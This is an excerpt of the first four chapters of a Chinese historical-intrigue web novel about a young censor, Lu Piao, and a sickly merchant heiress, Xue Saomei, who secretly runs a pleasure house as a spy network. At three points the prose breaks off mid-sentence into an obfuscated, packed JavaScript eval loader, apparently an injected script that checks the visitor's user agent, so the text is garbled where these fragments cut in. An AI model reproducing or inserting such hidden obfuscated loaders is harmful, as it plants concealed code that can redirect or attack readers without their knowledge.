《白莲花与鹰》 1. 第 1 章 青崖欲坠,山林相叠。 正值夤夜,一驾马车在山路中徐徐前行。道路上散落的月光被两道车辙轻易划散,旋即又如水一般无声弥合。 车夫拉着缰绳,在这无边无际的寂静之中,百无聊赖地打起了瞌睡。就在他即将合目的瞬间,尖利的哨声响起,三道古怪流火忽然自远处高山上一飞而起,冲破夜空,旋即在最高处爆裂开来,瞬时映亮车夫惊惧的眼眸。 “侯爷!” 他只来得及喊出两个字,便被一股极大的力道从侧面贯穿了喉头。 那来势汹汹取了车夫性命的,是一支足有半寸粗细的箭矢。在巨大作用力的穿透下,车夫从马车上侧身栽了下去。他原本驾驭的马匹被流火所惊,此刻又少了缰绳束缚,顿时撒蹄狂奔起来。 古怪的是,那被马匹拖拽着的车厢,却并未传出一点人声。 黑云渐漫,树影狂摆。十数个身着黑衣的大汉埋伏在马车的必经之路上,听着蹄声,算好远近,在稀疏月光下互相交换了个眼神。为首那人迅捷地抽出腰刀,弹指一响,身后几位纷纷亮刀。 风愈疾,马车车厢的门帘被吹得翻飞。 为首的黑衣人待马车驰至眼前,便提气纵身跃上车辕,大刀一竖,向车厢中狠狠砍去。 “叮!” 一柄白色雪花纹铁折扇旁逸斜出,生生接住了黑衣人这用尽全力的一刀。兵器相触,火星乱迸,隐约映出车中端坐着的年轻男子俊美无俦的面庞。 他只似笑非笑地一扬眉,扇骨轻转,抵带着刀面稳稳划过,竟一下子斩断了黑衣人的手腕,迫得黑衣人痛呼一声,直接坠下了车去。 他身后,十岁出头的青衣小童探出脑袋:“侯爷,这一回又是谁要杀我们?” 自未央京一路南下,这至少已经是他们第三次遇险了。 “管他是谁,先宰了再说。”男子轻声嗤笑,趁着马车窗帘被窗外另一黑衣人引器刺入之时,借力将折扇“啪”地往外一洒,干脆地斫下那人的一条臂膀。 残肢滚落到小童脚下,他一脚踩住,大眼睛滴流乱转,伴随男子的动作,口中数着被击退的敌人数量:“三、四、五、六……”待数到“十”,小童不耐烦起来,打着哈欠问,“侯爷,到底还有几个坏人呀?” 男子手上不停,气息却丝毫未乱:“你且先让马停下。” “哦。” 小童撅起嘴唇,吹出一记清脆口哨,竟使得奔跑中的马匹缓缓停下了脚步。 最后一名黑衣人一直扒在车厢顶部等待机会,此刻待马车稍歇,正欲发狠掀了车厢顶盖翻身入内,忽然听见那男子扬声笑道:“就剩上面这一个了。” 那黑衣人还未来得及反应,忽然股上一凉,已有冰冷的利器刺穿了他的血脉。旋即他便和车厢顶盖一同,被一股极强的力道震飞了出去,重重摔落在地上。 背脊和脏腑似乎都已碎裂,身上的热度叫嚣着从伤口涌出,黑衣人的视野已届模糊,纵然勉力支起脖颈,也只能隐约看到一道颀长的黑影立于车厢顶部边缘,正居高临下地俯视着自己。 此刻夜风猎猎,吹去积云,露出银白月色。那男子背风而立,衣袂鼓鼓而飞,不发一言,如谪仙,更似鬼魅。 黑衣人惨然一笑,血沫从嘴角不断涌出:“看……刀……” 他手中的那把刀尚未来得及沾染鲜血,映着月光,与黑衣人的脸色一样,净是雪白。刀身被举到半空,终于因他力道不支,颓然落下。 黑衣人自知无望,用最后的力气咬破藏于舌下的毒丸,胸口急促起伏数次后,终归平静。 至此,所有不速之客的气息均已在山野中消散。 男子轻叹一声。他本想留个活口,因此手下留了情,并未伤到众刺客的致命处。可来人俱是死士,自行服了毒,倒连累他做了回便宜阎王。 小童循声伸长脖颈向上望去。他所在的位置,望不到自家侯爷飘逸的身姿,只能看见那盖布缺失的车厢顶部框出的一小片灿烂星海,似在向他眨眼。 美则美矣,可是……小童环顾四周,只见马车四壁俱已破烂不堪,摇摇欲坠,连忙道:“您快下来,这马车快要散架啦!” 男子置若罔闻,径直望向远方的山崖。 黑衣人守在马车前方,而开启这场变故的流火和箭矢却是从侧面高处射下。显然,在他目之所至处,密林掩盖下,此刻还应有另一支人马。 古怪的是,他二人已全然暴露在这旷野之中,对方却按兵不动,并无进一步动作。 比起前两次声势浩大的刺杀,这回对方的动作,更像是一种恫吓与试探。 小童正待聒噪,忽然感觉后领一紧,已被自家侯爷拎小鸡似的从车厢中悬空提出。还未来得及充分感受腾云驾雾的感觉,他的双脚已稳稳落在了地上。 “簪缨,”男子拍拍小童的脑袋,“去把车卸了,我们骑马进城。” 马蹄扬起的方向,正是八十里外的碧霄府。 在距离月亮更近的远处山崖之上,一群黑衣面具人静默无声地垂手矗立,仿佛一小片黑鸦鸦的树影。人群之首正用一道森冷目光,远送两人一马渐渐远去。 一架神臂弩垂放在他脚边,他冰冷的手指还未来得及从弩弦上移开。 *** 燕国雄踞轩辕陆之南,由包括碧南道在内的十三道组成。自西北神牧川起源、名曰“碧水”的大江,在燕国东流灌入蓬莱海,为燕国滋养出了富庶的江南地区;其中,最为繁华的便是这占据碧水入海口的碧南道。 碧南道首府因位于碧水与其支流霄江交汇之地而得名曰碧霄府,占据交通之利,便更是个举袖如云、接袂成帷的去处,尤以商业发达而驰名宇内。 近两日来,一个名字频繁出现在碧霄府绅商口中。比如此刻—— “我可听说,这陆缥是皇后外甥,刚过弱冠之年,就在西北升了从二品的神牧道都指挥同知,还被超品御封为正二品的‘定远侯’,年禄足有一千石呢!二十岁的侯爵啊,我大燕立国近六十年,从未有过!但他四年前不知犯了什么事儿,被撸掉了官职——据说,是临阵拒战,弄得官家无法收场,只好将亲生的公主送到白狄和亲——就这样,官家都没舍得除他爵位!这不,此番又起用了他,御封为监察御史,派到咱们这儿来啦。虽然只是个从五品的官,但也是代天子巡狩,权力大着呢!到时候,朱藩司、陈知府,还有本道的大小官员,都得看他眼色行事!” 老叟说得唾沫横飞,末了瞥了下对面人的神色,压低声音,“我可还听说,这陆御史好生厉害,前日在赴任途中,喏,就在城外山林里,亲手杀了十几个刺客,一个活口没留!他到衙门上去的时候,衣服都没换,一身都是血……” “咳咳!”婢女阿橘重重地清了清嗓,不悦地瞪了对面的老叟一眼。 周老爷不觉言语不妥,还继续絮絮叨叨道:“咱们这里清平惯了,哪里见过这等人才,现在都私下里喊他‘陆阎王’呢!咱们相熟的蔡御史告老还乡,这陆阎王要是新官上任三把火,伯父担心,咱们碧霄府的天恐怕要变上一变喽。眉儿,你有何高见?” 端坐在他对面的少女唇边闪过一丝讥诮,只一瞬又恢复了巧笑吟吟的模样,好在周老爷垂眉耷眼,并未看见。 “周世伯言重了。扫眉一介女儿家,能有什么主意呢?”那少女素面朝天,只有唇上施了点唇脂,越发衬得肤白如纸。话音刚落,她竟抑制不住地咳嗽起来,鬓边两朵精致的白色绢花摇摇欲坠,不胜可怜。 周老爷见她咳得泪盈于睫,今天恐怕不宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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四年多前,夏日的一个雨夜,江南首富薛家惨遭灭门,家主薛昭、主母曾氏、少东家薛斐并仆从共四十八口人被屠戮殆尽——其中也有阿橘的同胞姐姐,自小服侍薛扫眉的大丫鬟阿柚。一门当中,只有当时刚及笄的薛扫眉侥幸活了下来,但也因哀惧交加,大病一场,从此一直羸弱。 时人皆道薛家的楼这回恐怕是要塌尽了,谁料这位原本养在深闺、娇弱不堪的大姑娘,竟然身披重孝、拖着病体,在老管事义子薛兼的扶持下,一手支撑起了薛家门楣。 当世习俗,为父母守孝,满三年即可;但薛扫眉一夕之间失去了所有亲人,坚持要守孝五年。如此算来,她要等到二十岁,才可按父辈的约定,成为周家少爷周烈的妻子。这对于周家来说,本是个不情之请,但周老爷想着与薛昭曾义结金兰,也就咬牙答应了。没想到的是,这两年薛家的生意越做越大,周家却江河日下。眼见着周烈砸出的亏空越来越大,周老爷逐渐坐不住了,于是三不五时便找机会到薛宅来,想劝薛扫眉早日出孝,完成两家的婚约。 阿橘那厢还在怀想,这厢薛扫眉已放下手中瓷杯。她眼下有些青紫,一旦不再挂着笑容掩饰,便登时显现出疲惫来:“我乏了,小睡两个时辰。你先去房中,帮我点上安息香,再切两个柠檬放在薰炉边,就可退下了。吩咐下去,未时之前,任谁也别来打扰我——就算薛兼回来了也不行。” 她扶着黄花梨圈椅的把手,缓缓站了起来,如一缕虚弱的烟雾。 薛大姑娘喜静,爱独处,安息香配柠檬也是她用惯了的配方。阿橘不觉有异,当即应下,退出了厅堂。 此间便又只剩下薛扫眉一人。江南的建筑讲究妙趣雅致,一步一景,薛扫眉背后便是一整扇镂空的冰裂纹花窗。此刻晨风微起,拂动天井中丛生的碧竹,绿影投射在窗棂上,恍如一幅古画;映在她单薄的后背,却像是婆娑的伤痕。 梭梭风声中,她忆起周老爷的话。 “在城外山林里,亲手杀了十几个刺客,一个活口没留! “这陆阎王要是新官上任三把火,伯父担心,咱们碧霄府的天恐怕要变上一变喽。” 薛姑娘微弯嘴角,面上隐约浮出浅浅酒涡。 无眼苍天,倒不妨变上一变。 2. 第 2 章 除了早上周老爷登门造访以外,今日是再平常不过的一天了。薛大姑娘果真一觉睡到亥时,醒来后草草用了午膳,便照常开始在书房理事,期间见了几家商行的掌柜。也许是秋日干燥,这一觉补毕,薛大姑娘仍咳嗽不止,面无血色。 阿橘将这一切默记于心中。待薛兼从外头巡店回来,她须事无巨细向他报告。薛管事虽然和大姑娘表面上看着不太对付,但实则对大姑娘的事情最为上心。他走南闯北,见识颇多,对于如何缓解大姑娘的症状,应该比她这小丫头有办法得多。 平淡如水的一日很快走到了尽头。三更过后,薛扫眉从书房回到卧处,稍作梳洗,便歪倒在床上。卧房里遍布着蜡烛,此刻已全部点燃,将此间照耀得如在白昼。阿橘四下检查了一番,低声问薛扫眉:“大姑娘,晚上还燃香么?” 她问了两遍,无人回答。一回头,见薛大姑娘双目紧闭,眉心微蹙,似已坠入睡梦之中。 大姑娘一向少眠,今天想必是累极了,才会这么快睡着。阿橘不敢再出声打扰,轻手轻脚地收走香案上用剩下的两枚柠檬,扫去陈香,默然退下了。 雕饰繁复的木门被从外面带上。薛扫眉缓缓睁开眼。 这具躯壳已经疲劳到了极限,只是她心有牵挂,无法入眠。 近来她的身体愈发虚弱,其实本不应该冒险。可要请那位陆御史入局,需得早早布下棋子,她只能勉力一试。一趟密道走下来,差点去了她半条命——好在没晕倒在半路,也顺利瞒过了阿橘。 如果一切顺利,白天她假借补眠传出的那封密信,此刻应已送到了。 *** 本朝不设宵禁。已届四更,碧南府乃至于整个燕国南方最负盛名的销金窟——这名为“菩萨蛮”的歌舞坊中,丝竹仍未歇。 高阁雅间中,玉霓裳从龟奴老齐手中接过一沓子信封,漫不经心地问:“今日收来的银票,就这些了?” 她是官伎出身,以出神舞技名动江南,前几年自行赎身后,一手创办了这金碧辉煌的菩萨蛮。做的虽是下九流的生意,但奈何此间既雅又奢,到访的达官贵人、文人雅士如过江之鲫,免不了和她有几分交情,于是道上人便也都尊称她一声“玉妈妈”或是“玉老板”。 玉霓裳浸淫风月多年,纵已徐娘半老,这妩媚的眼神一递过来,依然有令人心旌动摇的威力。老齐勉力收敛心神,结结巴巴地道:“是呀。如今散客多,给的大多是白银、铜钱,给银票的就这几封。” 玉霓裳“嗯”了一声:“知道了。你把账目留下,且下去休息罢,我来清点。” 老齐踟蹰了一番,小心道:“东家,您每日这么晚了,还要亲自盘点这银票的账目,着实是太辛劳了些。老奴想,若是收这银票的时候,不用套上信封,而是直接由姑娘们当面点了数目,再上交过来入账,岂不更便宜些?” “你懂什么?”玉霓裳一记眼刀飞过来,“一张银票,最少也合一百两银。能给得起银票的主儿,那都是贵客!你想,姑娘们当着贵客的面儿点钞数钱,然后再用同一双手去弹琴抚弦,那岂不是俗不可耐了!故而我让姑娘们备下信封,若有给银票的,只管笼统接过来就可,由我每晚清点。就算偶尔有错漏,也由我补齐,亏不了她们的。” 老齐赔笑道:“老奴是心疼您……又或者,我先点一遍,再交给东家?这样也可省些事。” 玉霓裳冷笑一声,抬高声调:“别以为我不知道你们打什么主意!你们平日里在这里做乌龟,耸眉搭眼的,出了这菩萨蛮,却个顶个的富贵威风,不就是从姑娘们那里昧下了买路钱么?客人给了一千钱,到我账上只剩八百了,那两百钱都进了你们口袋罢?我不过是看在你们卖力招徕客人的缘故上,睁一只眼闭一只眼罢了。哼!小钱也就算了,银票——我是断不可能交给你们经手的。信封由姑娘们封好,到我这里才能打开。你们吶,就别惦记了!” “东家说哪里的话,哪里的话……”老齐汗流不止,不住哈腰。 玉霓裳再不耐烦与他废话,挥手喝令他退下,自己回身进房,关好房门。 门栓落下,玉霓裳骄横的表情也消失在了脸上。 一滴汗珠从鬓边滑落,她顾不得去擦,径直走到离门最远的床边,背过身坐定,开始翻看手上的信封。 其实老齐的话并不是毫无道理,好在她早备好了说辞,囫囵搪塞了过去。她执掌这偌大的菩萨蛮,对于日常收账这种小事,当然可以不亲自去做的——除非,这不仅仅是日常收账。 拆到第四个信封,上头有个“周”字小记。玉霓裳撕开它,逐张摩挲,果然在中间找到一张厚得不同寻常的“银票”。 玉霓裳的心不同寻常地跳动起来。 她吸气定神,用染成朱色的小指指甲轻轻分开纸角,熟练地将它一层层揭下:第一层和第三层各是一张货真价实的银票,唯独夹在中间的第二层,是一张与银票同等大小的白纸。 玉霓裳小心地托着那张白纸,凑近蜡烛。 烛焰烘烤之下,一股细不可闻的柠檬酸香轻轻逸出。几行风骨挺秀的焦色小字,逐渐跃于纸上。 玉霓裳仔细读完,即刻将那张纸焚毁。她手上沉稳,心却跳得很快。 来信的人比她年轻得多,她们也只见过寥寥几面。但为那人驱使,玉霓裳心甘情愿。 她们第一次见面,是在四年前的州府大牢。 彼时玉霓裳还是登记在簿的官伎。她有个义结金兰的阿姊,名唤玉璇玑,是教坊中有名的琵琶好手。哪料有一日,玉璇玑忽然与人相携私奔,从此杳无音讯。教坊中有嫉妒玉霓裳的舞伎,诬告称她协助玉璇玑出走。于是玉霓裳一朝零落,沦为了阶下囚。 那一夜,她躺在冰冷的地面上,寒意穿透来不及换去却已蒙尘破碎的轻纱绸衣,一寸一寸深入肌肤和骨骼。阿姊秋水凌波的妙目和监牢无边黑暗中狰狞明灭的火把,在玉霓裳眼前次第闪烁,如真似幻。 忽然,她在老鼠磨牙的声响中听出了一串轻盈的脚步声。 抬起头,她见到来者。那是个年纪轻轻但惨白若鬼的美貌少女,声线还带着稚气,目光却沉静如深水:“玉姐姐,我姓薛,是个经商的女户。你……肯不肯与我做一笔交易?” 玉霓裳当时神使鬼差地点了头。她其实也没有料到,那个刚从灭门之痛中挣扎出来的少女,竟真有财力胆色安排她姊妹二人赎身,还暗中支持她创办了菩萨蛮。无人知道,薛扫眉如今才是菩萨蛮幕后真正的东家。 刚开始,玉霓裳以为,薛扫眉的此种安排只是为了避免非议,毕竟良贱有别,陪笑挣来的银子在世俗意义上算不得清白;但后来,她越发发现,薛大姑娘似乎对伎人并无成见,对挣多少银子也不很在意——正如薛扫眉当夜说的一样,玉霓裳在这笔交易中所应当付出的,只是替她暗中去做一些“力所能及”的事情罢了。比如,好好“款待”她的未婚夫周烈,令他沉迷于温柔乡中;待她令下,便教周家永世不得翻身。又比如——今晚收到的指令——安排手下姑娘去试探刚莅临碧霄府的监察御史、定远侯陆缥。 神奇的是,虽然薛扫眉的首要目标是周家,但她和玉霓裳约好的用银票和密笺传递消息的方式,倒有几次是通过周家少爷周烈支付的(女票)资实现的。以子之矛,攻子之盾,薛大姑娘究竟是怎么做到的?她和周家之间,又究竟有怎么样的官司? 玉霓裳不敢细问。她久居江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这世道里,男子三心二意,可称‘风流倜傥’,传为佳话;女子为求生存,曲意逢迎,便是‘水性杨花’、‘下**贱东西’,有何道理可言?你是不是忘了,你家大姑娘我,只是抛头露面做了些买卖,也明里暗里被编排得不成样子。往后休再让我从你嘴里听到这些俗不可耐的话。” 阿橘面色涨红,讷讷称是。 薛扫眉回想她话中的消息,心里却另有一番计较。她确实是听闻陆缥在未央京时便有风流之名,才让玉霓裳安排了这么一出,探探他的底。但他上钩得也太容易了些罢?难道这位陆御史,真是个见色心喜的浪荡子?如此,这人也不是就完全不能用了,只不过得改改策略…… 薛扫眉心思涌动,冷不丁呛了一口气,止不住地咳嗽了起来。阿橘被唬了一跳,急忙上前将她扶起顺背,懊恼道:“都怪我多嘴。大姑娘快再歇歇吧,今天没旁的事了……” 阿橘话音未落,厢房门便被人敲响。 来者是薛扫眉房里的另一个大丫鬟鹦哥,替三道门上负责内外传递消息的朱妈妈递话进来的,说薛家派去盯着周烈的人来消息了:周烈方才怒气冲冲地出了家门,纵马向菩萨蛮的方向去了。 阿橘义愤填膺:“这厮真是疯了!往日还坐马车去,好歹遮掩下,现下连装都不装了?让路人看见,我们大姑娘的脸往哪儿搁?” 她侧目,见薛扫眉一动不动地垂头坐着,好似玉塑的菩萨。 阿橘以为她难过,咽了口唾沫,压低自己声音:“大姑娘,您别难过……” 薛扫眉抬起头来,虚弱发白的脸上并无阿橘设想中的羞愤神色,反而很平静,甚至沾染着细微的笑意。如果细看,她墨玉一般的瞳仁中,甚至暗藏兴致。 这个表情阿橘熟悉。以往大姑娘去谈大生意时,便是这样的神情。 “伺候我换衣服吧。咱们也去见见那位潋滟姑娘。” 真是想要瞌睡便有人递枕头。她正想寻机和玉霓裳通个气,机会便自己送上门来了。 3. 第 3 章 顾忌薛扫眉的身体状况,薛家的马车向来走得较慢些。等马车行至菩萨蛮楼下时,她已经快要在锦绣堆成的车厢里睡着了。 阿橘轻轻推醒她,将鲛绡织就的帷帽双手奉上,待薛扫眉整装完毕,两人一并下了马车。 此时正值晌午,虽已入秋,但日照当头,仍晃得人眼晕,阿橘忙支起伞来。按照当朝律令,无官身之人只能用绿伞,但作为碧霄府乃至于碧南道首富薛家仅存于世的掌门人,薛扫眉用的绿伞自然不同寻常:那伞面的绿色,细细看去,竟是由无数翠鸟之羽累叠而成,伞心最绿,伞沿稍浅,浓淡得宜。顺着乌檀木伞骨攀缘在伞面上的暗金色丝线在阳光下若隐若现,仿佛在露珠掩映下的叶脉,神韵天成。 从薛家马车到菩萨蛮门口有十数步的距离,对门酒楼之上被那把亭亭如盖的华贵绿伞吸引了目光的好事者一路注目,却只在收伞时堪堪捕捉到伞下人如风一般拂过菩萨蛮门槛的裙角光影。 这还是她第一次来菩萨蛮呢,薛扫眉想。 这是她四年前为自己置办下的秘密私产,亦是她储备的一根毒刺。 薛扫眉尚在暗自感慨,阿橘已掷地有声地问道:“周烈周公子何在?” 管事的龟奴瞧着她二人面生,但通身贵气,不像是好惹的主儿,只得满面堆笑上前道:“抱歉,本店不做女客的生意,您二位……” 阿橘冷笑道:“呸,你区区一个下九流,还想与我薛家做生意?” 她对周烈的行止不满已久,此刻语出不逊,声调高昂,引得周围人群渐渐聚集起来。那龟奴刚闻她呵斥,面上登时显出怒色,但听到“薛家”二字后,又有些惊疑不定,一时讷讷,转而向一旁的小婢附耳交待了些什么,连声催促她“快去”。 “不必再去请人了,”薛扫眉轻咳一声,笑道,“我是薛家家主,周烈是我未婚夫婿。他此番来这里,是来闹事的罢?你若不带我去找他,再过顷刻,姓周的恐怕就会拆了你这菩萨蛮,到时候谁面上都不好看,你说呢?” 她语气温婉柔和,中气不足,却暗含威仪。那龟奴瞥了眼旁观人群,汗出涔涔,忙稽首称是,引着薛扫眉二人上楼,直奔潋滟姑娘所驻的水光阁而去。 菩萨蛮所在的这幢楼,原名羽衣楼,始建于弘文三年,至今已有二十三年的历史了。此楼原先隶属于礼部教坊司,与未央京中的惊鸿院一南一北,同为本朝最高规格的官伎院所在。四年前,恰逢北方大旱,国库亏空,陷于囹圄的玉霓裳在薛扫眉的暗中资助下,不仅自赎其身,还以四万两银的高价将羽衣楼买下,并更名为菩萨蛮,专作歌舞生意。 眼下菩萨蛮虽已改旗易帜,但仍沿用了羽衣楼的建筑,千门万户,曲折不断,幽房雅室,室室相通。在所有房间中,水光阁居于最高一层,阁前清池盈地,阁后竹林环抱,仿佛神仙居所。 然而此刻,水光阁内却一地碎瓷,局面尴尬,全无清幽。 “玉老板,我已包了如儿姑娘半年,为何他人还可染指?” 刚砸了瓷瓶,此刻正咬牙切齿说着话、就差把手指戳到玉霓裳脸上去的这位微胖青年,正是与薛扫眉自小订婚的周宅长子周烈。他本也生就一副好皮囊,可惜这两年来沉醉于酒色之中,双目中的舒朗神采已被腐蚀殆尽,只余一片空洞和阴鸷。 玉霓裳不疾不徐地摇了摇团扇,笑道:“周公子莫着急呀!您是包了如儿……潋滟姑娘半年的场儿不错,我们也依章办事,没挂出她的牌子。眼下是姑娘她自个儿想款待朋友而已,和包不包场的没有关系。” 玉霓裳说罢眼刀一飞,潋滟姑娘立刻会意地接过话头:“周公子,你莫误会,这位陆侯爷,是奴的知己好友,并非如你想的那样……” 而她口中的陆侯爷、碧霄府众人口中的陆阎王,此刻正合衣倚卧在红酸枝贵妃榻上,含笑抱手看着周烈,甚至没有半分起身的打算。 陆缥今日头戴水晶七梁束发冠,身着月白缠莲团纹圆领襕衫,腰缠双鱼忍冬纹蹀躞带,脚踏云纹锦缎皂靴。这些均是未央京时兴的样式,是陆缥外祖母勤国公夫人精心挑选了送来的,颜色素淡但暗藏华贵,配上陆缥那张俊美无俦的脸和修长高大的身段,愈发显得玉山巍峨,清贵逼人。 他今日休沐,所以白天出现在这里,不想撞见了一出好戏。 修罗场中尚在僵持,薛扫眉一行人已行至水光阁前。 周烈甫一回头,便看见一袭轻袅白影朝自己屈身行礼,帷帽下熟悉的声音如叹息般轻轻传来:“周世兄。” 周烈尚在迟疑,薛扫眉已摘下帷帽。她仍在重孝之中,只穿着最素的白服、白履,鬓边压着一朵素蕊海棠堆纱花,再无其他粉饰。银箔造就的半张面具遮住她的眼周和鼻子,更衬得面部露出的肌肤苍白如纸。 玉霓裳看清来人,不由得睁大眼睛。 薛扫眉的目光从在场诸位面上平淡划过,未露锋芒。 “周世兄,”她深深吸了几口气,暗中掐了自己一把,眼眶顿时红了,“我到底何处对不起你,你要这般对我?” “呃,世妹,你如何……”周烈嗫嚅着说不出话来。 薛扫眉抢白:“你是不是想问,我如何知你在此处,为何到此处寻你?”不待周烈回答,她便哽咽道,“敢问这碧霄府中,有谁不知周世兄日夜消磨在这温柔窟中,为了菩萨蛮的头牌姑娘一掷千金?你今日在街上纵马狂奔,怒气冲冲直往此处来,路人有目共睹,何况我薛家仅在一条张宿街上,便有三家分号呢?我听到耳目传话,担心你闹事,才赶忙跟来。幸而此处幽静少人,要是你在众目睽睽下闹这么一出,薛、周两家的脸都要丢尽了!” 阿橘听不得自家大姑娘带着哭腔说话,气得脸都红了,狠狠剜了周烈一眼。 周烈见薛扫眉强硬,也来了脾气,冷哼一声,梗着脖子道:“就算是众目睽睽,我又有何不敢了?这本就是菩萨蛮一物二卖,一奴二主,好没道理!走走走,我们去厅堂——再不然去官府,让大家评评是谁理亏!”说罢伸手就要去拖玉霓裳。 玉霓裳惊疑未定,冷不丁被周烈拽了一趔趄,怒从心起,甩开他的手,厉声道:“去官府?周公子,你怕是没长耳朵罢?我们潋滟姑娘都说了,她今日的座上宾是侯爷,他就是官!你是什么身份,敢在此放肆?” 薛扫眉这才有机会正眼看向陆缥。 方才她刚粉墨登场时,便用余光注意到了贵妃榻上的那抹月白身影,也仿佛曾留意到那人带笑的目光曾在自己身上拂过。 嗯,此人衣着华贵,气度不凡,还和潋滟姑娘居于一室,加上刚才玉霓裳的言下之意,想必他就是陆缥了。 百闻不如一见,这位年少成名的定远侯,竟然生就如此美妙的一副皮囊。 今日薛扫眉来这里,本只是为了将周烈之事闹大以及借机从玉霓裳那探知消息——能当面遇到这个人,倒是令她有些意外。 陆缥作壁上观了许久,猛然被玉霓裳点了卯,抬眼便迎上薛扫眉的目光。 唔,这位姑娘面白如纸,虽戴着面具,仍难掩病容,说三句便咳一声,一副年寿不永的样子——倒是可惜了一双清凌凌的妙目。“我薛家仅在一条张宿街上,便有三家分号”,这个“薛家”,难道便是传闻中的江南首富薛家? 两人视线相撞,各具心肠。 那厢周烈还在发作:“他是官又如何?就算是天王老子来了,本少爷也有理!玉妈妈,你……你要是因为畏惧权势,就不把本少爷放在眼里,小心我传扬出去,看你这菩萨蛮以后还如何开门做生意!” 玉霓裳本也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆缥不紧不慢地起身,向前走了两步。也许是久坐后乍一起身的缘故,他的脚步略有些偏斜,停下来的位置正巧被门扉遮住。即使此刻外面还有人关注这厢的动静,也绝无可能透过屏障,看清他的表情和动作。更何况,他手指在空中划过的动作利落干脆,一瞬而过,几无痕迹。 但老齐看懂了。 跟上,监听,报告。 那是隶属于天子麾下,直奉皇命,负责警戒、侦缉、查肃、审讯的特务机构“备用处”内部通用的手语。备用处是官方名称,在民间,这个雷霆万钧的机构有个更加阴森的名字,叫“血滴子”。 血滴子的势力于未央京最为兴盛。在山高皇帝远的江南,它原本只维持着简单的建制。四年前羽衣楼改制为菩萨蛮之后,便再也没有人和老齐使用过这套手语。他几乎以为自己已被遗忘了,直到前几日陆缥莅临。 和他们这些默默无闻的暗子不同,他的这位新上峰,竟然是位圣眷正浓的正二品侯爷,还领着监察御史的钦差。就是不知,陆缥为何弃了西北好端端的军职不做,也不在未央京中当他的富贵闲人,却要来这片肮脏血雨里蛰伏? 不过,这些显然不是他应该思考的问题。 老齐收回思绪,面不改色地将陆缥送出水光阁。 “你服侍得很好,自去忙罢。这一两金拿好,算作赏你的吃茶钱。”清贵的陆侯爷漫不经心地递出赏钱,潇洒离去。 “吃茶”二字稍带重音。但如听者无心,也是听不出来的。 老齐心领神会,长揖到地,转身又混入那团胭脂香粉中。他这样其貌不扬的人,如灰尘一般,随处可见;也正因为如此,无论他附会到哪里,都不会惹人关注。 4. 第 4 章 城郊桑罗观中,瞿准正和清源道长品茗。白水城上好的铁观音在冰玉瓷罐中煮开,旭山圣泉引来的水托着茶叶沸腾,清香四氲。 外头有小道士传话进来:“瞿公子,有一位姑娘要见你。” 话音刚落,阿橘已经踏入轩内,凄声喊道:“瞿扁鹊!” “橘姑娘?” 阿橘面上泪痕未干:“瞿扁鹊,大姑娘提前发病了,求求您快救救她罢!” 瞿准骤然立起,背起药囊,便跟着阿橘往外冲。其实前两次去薛宅请平安脉时,他便注意到扫眉的身体比从前更添了几分衰微之象,只是没想到这“病”比想象中还要来势汹汹,竟然还提前发作了。 瞿准出身于杏林世家,尚垂髫时便以医圣座下首席大弟子的身份而声名鹊起,人人都敬之三分,要称上一声“瞿扁鹊”的。但对于扫眉的“病情”,凭瞿准自己的能力,只能做到缓解疼痛而已——虽然这已经成为了他和扫眉之间的默契,阿橘却毫不知情,依然对他有着近乎迷信的崇拜。 事发紧急,阿橘是从自家马车上解了一匹马来的,与瞿准共乘虽有不便,但两人此刻恨不得能插上翅膀飞回菩萨蛮,当然顾不得什么男女大防。瞿准正欲上马,身后一人牵着另一匹马,追上来道:“平仲,你骑我的马去,这样脚程更快。” 却是清源道长跟了出来。 瞿准还未出声,阿橘已替他“谢”过:“牛鼻子臭道士,算你还剩着些良心。” 清源道长但笑不语。瞿准向他微一颔首,匆匆跟着阿橘走了。 一旁的小道士不忿道:“那姑娘长得倒挺齐整,怎么说起话来这么尖酸刻薄!” 清源道长瞥了他一眼:“你刚来,不知我与她们家的渊源。勿多言。” 小道士连忙敛容道:“徒儿知错。” *** 薛扫眉终于又见到了母亲曾氏。 一别经年,母亲仍如上一次见面时那样温婉美丽,垂首喊她“眉儿”,满腔的柔情爱意。 偏偏有一道清朗声线执意要打破专属于母女二人的温馨:“令千金的八字着实凶险……恕贫道直言,若想保阖府上下平安无事,还是送她到观中作一名女居士罢。” 母亲自然不依:“我的眉儿怎会是克星,道长休得胡说!眉儿,你别离开娘,眉儿……” “薛姑娘,薛姑娘?”又一个声音响起,由远及近,将她驱离出梦境。 薛扫眉慢慢睁开双目。 眼睫已湿,她明白方才的一切只是一场梦,亦是命中注定的魇。可是如果可以有选择,她宁愿永远不要醒来。 “你醒了。”瞿准停下为她施针的手,终于松了一口气。 阿橘在一旁,热泪盈眶:“大姑娘,可感觉好些了吗?您被周烈那个狗东西气得病发,阿橘都要吓死了!我带着瞿扁鹊回来时,那狗东西早夹着尾巴跑了,怎么会有这样的人……呜呜……” 薛扫眉还很虚弱,弯弯嘴角,向她投去一抹安抚的笑意,缓慢道:“你先出去,我和瞿先生有话要说。” 阿橘擦着眼泪,迟疑道:“大姑娘既已醒了,有什么话,还是回府说罢。这里虽是鸨母特意腾出的雅阁,但,但毕竟是风月之地,不宜久留……” 薛扫眉闭上眼,扭头不再看她。 阿橘又劝了两句,横竖拗不过,只好撅着小嘴,退了出去。 待门框相合的声音落定,薛扫眉才又睁开眼睛。她眼前仍有些模糊,费了些力气才将视线聚焦在瞿准身上。 “平仲,是你给我服下了解药,对么?”她额上还有虚汗渗出,只说了一句话,胸口又急遽起伏起来,显然是在忍着咳嗽。 瞿准赧然点头,一面将银针取下,收入囊中。 “原来那个人也给了你解药……你身上,还有多少?”她挣扎着又问。 “只有这一颗。是那个人放在我这里备用的。” “这里不像薛宅眼线众多,平仲,我想听句实话……我还有多少时间?” 